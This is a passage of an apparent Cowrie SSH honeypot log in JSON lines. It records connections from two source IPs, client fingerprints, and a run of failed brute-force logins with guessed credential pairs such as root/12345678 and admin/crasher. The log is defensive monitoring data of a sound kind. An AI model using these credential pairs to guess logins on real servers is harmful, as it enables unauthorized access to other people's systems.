-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:13.978853Z","src_ip":"192.109.200.237","session":"b8edf87d82fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:14.255133Z","src_ip":"192.109.200.237","session":"b8edf87d82fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:15.342572Z","src_ip":"192.109.200.237","session":"b8edf87d82fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":34638,"dst_ip":"159.203.135.109","dst_port":22,"session":"23afe8b6103d","protocol":"ssh","message":"New connection: 192.109.200.237:34638 (159.203.135.109:22) [session: 23afe8b6103d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:17.455102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:17.458790Z","src_ip":"192.109.200.237","session":"23afe8b6103d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:17.541337Z","src_ip":"192.109.200.237","session":"23afe8b6103d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:17.787224Z","src_ip":"192.109.200.237","session":"23afe8b6103d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:18.958949Z","src_ip":"192.109.200.237","session":"23afe8b6103d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49822,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5cc1bb110f3","protocol":"ssh","message":"New connection: 192.109.200.237:49822 (159.203.135.109:22) [session: d5cc1bb110f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:20.954223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:20.959358Z","src_ip":"192.109.200.237","session":"d5cc1bb110f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:21.042517Z","src_ip":"192.109.200.237","session":"d5cc1bb110f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:21.291069Z","src_ip":"192.109.200.237","session":"d5cc1bb110f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:22.377204Z","src_ip":"192.109.200.237","session":"d5cc1bb110f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49842,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ae351853303","protocol":"ssh","message":"New connection: 192.109.200.237:49842 (159.203.135.109:22) [session: 2ae351853303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:24.520252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:24.524688Z","src_ip":"192.109.200.237","session":"2ae351853303","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:24.606371Z","src_ip":"192.109.200.237","session":"2ae351853303","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678","message":"login attempt [root/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:24.856588Z","src_ip":"192.109.200.237","session":"2ae351853303","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:25.942658Z","src_ip":"192.109.200.237","session":"2ae351853303","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":49860,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0f33eac5dcc","protocol":"ssh","message":"New connection: 192.109.200.237:49860 (159.203.135.109:22) [session: c0f33eac5dcc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:28.061161Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:28.065210Z","src_ip":"192.109.200.237","session":"c0f33eac5dcc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:28.147334Z","src_ip":"192.109.200.237","session":"c0f33eac5dcc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:28.394965Z","src_ip":"192.109.200.237","session":"c0f33eac5dcc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:29.521339Z","src_ip":"192.109.200.237","session":"c0f33eac5dcc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35680,"dst_ip":"159.203.135.109","dst_port":22,"session":"a404fa920186","protocol":"ssh","message":"New connection: 192.109.200.237:35680 (159.203.135.109:22) [session: a404fa920186]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:31.481506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:31.488249Z","src_ip":"192.109.200.237","session":"a404fa920186","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:31.588428Z","src_ip":"192.109.200.237","session":"a404fa920186","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:31.982265Z","src_ip":"192.109.200.237","session":"a404fa920186","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:33.068261Z","src_ip":"192.109.200.237","session":"a404fa920186","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":32989,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c6f92d6d156","protocol":"ssh","message":"New connection: 2.57.121.112:32989 (159.203.135.109:22) [session: 7c6f92d6d156]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:33.828938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:33.834216Z","src_ip":"2.57.121.112","session":"7c6f92d6d156","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:33.930805Z","src_ip":"2.57.121.112","session":"7c6f92d6d156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"crasher","message":"login attempt [admin/crasher] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:34.391656Z","src_ip":"2.57.121.112","session":"7c6f92d6d156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35682,"dst_ip":"159.203.135.109","dst_port":22,"session":"a0e7a53c53a7","protocol":"ssh","message":"New connection: 192.109.200.237:35682 (159.203.135.109:22) [session: a0e7a53c53a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:35.284359Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:35.289323Z","src_ip":"192.109.200.237","session":"a0e7a53c53a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:35.372230Z","src_ip":"192.109.200.237","session":"a0e7a53c53a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"crafts","message":"login attempt [admin/crafts] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:35.490970Z","src_ip":"2.57.121.112","session":"7c6f92d6d156","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mongodb","password":"mongodb","message":"login attempt [mongodb/mongodb] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:35.621536Z","src_ip":"192.109.200.237","session":"a0e7a53c53a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"crab","message":"login attempt [admin/crab] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:36.590981Z","src_ip":"2.57.121.112","session":"7c6f92d6d156","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:36.708634Z","src_ip":"192.109.200.237","session":"a0e7a53c53a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"courtney1","message":"login attempt [admin/courtney1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:37.691228Z","src_ip":"2.57.121.112","session":"7c6f92d6d156","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35690,"dst_ip":"159.203.135.109","dst_port":22,"session":"bac5d3708b3c","protocol":"ssh","message":"New connection: 192.109.200.237:35690 (159.203.135.109:22) [session: bac5d3708b3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:38.685263Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:38.690345Z","src_ip":"192.109.200.237","session":"bac5d3708b3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:38.772783Z","src_ip":"192.109.200.237","session":"bac5d3708b3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"counting","message":"login attempt [admin/counting] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T21:11:38.789950Z","src_ip":"2.57.121.112","session":"7c6f92d6d156","protocol":"ssh"}
